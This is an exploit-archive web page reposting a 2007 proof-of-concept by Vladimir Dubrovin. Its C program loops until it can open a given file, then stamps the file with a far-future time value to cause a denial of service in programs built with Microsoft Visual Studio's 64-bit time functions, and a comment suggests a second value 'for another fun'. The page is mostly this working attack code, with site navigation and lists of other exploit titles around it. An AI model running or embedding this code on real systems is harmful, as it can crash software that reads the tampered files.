首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Visual Studio 64-bit time functions DoS
来源:http://securityvulns.com 作者:Vladimir 发布时间:2007-02-13  
/*
	Sets File Time in Future
	(c) 2006-2007 Vladimir Dubrovin, 3APA3A
	http://securityvulns.com/
	http://securityvulns.ru/
*/

#include <stdio.h>
#include <windows.h>

int main(int argc, char * argv[]){
	HANDLE h;
	FILETIME ft;
	int n;
	char buf[10240];
	if(argc != 2) {
		printf(
"Usage: %s <file_path>\n"
"(c) Vladimir Dubrovin, 3APA3A\n"
" http://securityvulns.com\n"
" http://securityvulns.ru\n",
 argv[0]);
		return 1;
		
	}
	for(;(
		h=CreateFile(argv[1], 
					 GENERIC_WRITE, 
					 FILE_SHARE_WRITE|FILE_SHARE_READ|FILE_SHARE_DELETE,
					 NULL,
					 OPEN_ALWAYS,
					 0,
					 NULL
					 )
		) == INVALID_HANDLE_VALUE;);
	ft.dwLowDateTime = 0x3A3A3A3A;
	ft.dwHighDateTime = 0x3A3A3A3A;
/* you may also try 0x7FFFFF00 for another fun */
	if(!SetFileTime(h,&ft,&ft,&ft)){
		fprintf(stderr,"failed: %d\n", GetLastError());
	}
	return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·AT Contenator <= v1.0 (Root_To
·uTorrent 1.6 Remote Heap Overf
·Xaran Cms <= 2.0 (xarancms_hau
·phpCC <= 4.2 beta (nickpage.ph
·SunOS 5.10/5.11 in.telnetd Rem
·Advanced Poll <= 2.0.5-dev Rem
·Lotus Domino <= R6 Webmail Rem
·SAP Web Application Server 6.4
·Portable OpenSSH <= 3.6.1p-PAM
·Axigen <= 2.0.0b1 Remote Denia
·MiniWebsvr <= 0.0.6 Remote Res
·Axigen <= 2.0.0b1 Remote Denia
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved